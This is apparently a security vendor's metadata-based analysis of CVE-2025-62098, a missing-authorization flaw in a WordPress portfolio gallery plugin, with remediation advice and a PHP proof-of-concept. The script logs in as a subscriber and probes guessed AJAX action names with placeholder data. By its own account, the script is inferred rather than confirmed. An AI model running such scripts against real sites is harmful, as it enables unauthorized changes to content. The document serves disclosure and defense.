Atomic Edge analysis of CVE-2025-62098 (metadata-based):
This vulnerability is a Missing Authorization flaw in the Portfolio Gallery WordPress plugin (versions <=1.4.8). The vulnerability allows authenticated attackers with subscriber-level permissions or higher to perform unauthorized actions. The CVSS:3.1 score of 4.3 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N) indicates a network-accessible, low-complexity attack requiring low-privilege authentication, resulting in limited integrity impact with no confidentiality or availability consequences.
Atomic Edge research identifies the root cause as a missing capability check on a plugin function. The CWE-862 classification confirms the absence of proper authorization verification before executing a privileged action. Without source code, this conclusion is inferred from the CWE and vulnerability description. The plugin likely registers an AJAX handler or admin action hook without verifying the current user possesses the required capability (like 'manage_options' or a plugin-specific capability). This pattern is common in WordPress plugins where developers assume only administrators can trigger certain functions.
Exploitation requires an authenticated attacker with at least subscriber-level access. The attacker would send a crafted HTTP request to the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) or admin-post endpoint (/wp-admin/admin-post.php). The request would contain an action parameter corresponding to the vulnerable plugin function. Based on the plugin slug 'gallery-portfolio', the action parameter likely follows patterns like 'gallery_portfolio_action', 'portfolio_gallery_action', or similar plugin-prefixed names. No nonce parameter would be required, as its absence typically accompanies missing authorization vulnerabilities. The exact payload depends on the vulnerable function's purpose, but could involve modifying gallery settings, deleting portfolio items, or changing display configurations.
Remediation requires adding a proper capability check before executing the privileged function. The fix should verify the current user has appropriate permissions using WordPress functions like current_user_can('manage_options') or a custom capability defined by the plugin. The check must occur early in the function, returning a WordPress error object or exiting if authorization fails. Since no patched version is available, Atomic Edge analysis recommends implementing this authorization check alongside proper nonce verification for defense in depth.
The impact is limited to integrity violations within the plugin's functionality. Successful exploitation allows low-privileged users to perform actions reserved for administrators, such as modifying portfolio gallery settings, deleting or altering gallery items, or changing display parameters. This could disrupt website presentation or remove content. The vulnerability does not permit privilege escalation to WordPress administrator, remote code execution, or sensitive data exposure according to the CVSS metrics (C:N, A:N).
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-62098 - Portfolio Gallery <= 1.4.8 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2025-62098
* This script demonstrates exploitation of the missing authorization vulnerability.
* Assumptions based on WordPress plugin patterns:
* 1. The plugin uses WordPress AJAX handlers (wp_ajax_* hooks)
* 2. The vulnerable action name contains the plugin slug 'gallery_portfolio'
* 3. No nonce or capability check exists on the endpoint
* 4. The endpoint accepts POST requests
*/
$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_password';
// First, authenticate to WordPress to obtain cookies
$login_url = str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url);
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_2025_62098_');
// WordPress login request
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
]),
CURLOPT_COOKIEJAR => $cookie_file,
CURLOPT_COOKIEFILE => $cookie_file,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);
curl_close($ch);
// Attempt exploitation with common plugin AJAX action names
// These are educated guesses based on the plugin slug 'gallery-portfolio'
$possible_actions = [
'gallery_portfolio_action',
'portfolio_gallery_action',
'gallery_portfolio_save',
'portfolio_gallery_save',
'gallery_portfolio_delete',
'portfolio_gallery_delete',
'gallery_portfolio_update',
'portfolio_gallery_update'
];
foreach ($possible_actions as $action) {
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'action' => $action,
'data' => 'unauthorized_modification' // Example parameter
]),
CURLOPT_COOKIEFILE => $cookie_file,
CURLOPT_COOKIEJAR => $cookie_file,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "Testing action: {$action}n";
echo "HTTP Code: {$http_code}n";
echo "Response: " . substr($response, 0, 200) . "nn";
// A successful exploitation might return 200 with plugin-specific success messages
if ($http_code == 200 && !preg_match('/error|invalid|nonce/i', $response)) {
echo "[POTENTIAL SUCCESS] Action '{$action}' may be vulnerablen";
}
}
unlink($cookie_file);
?>
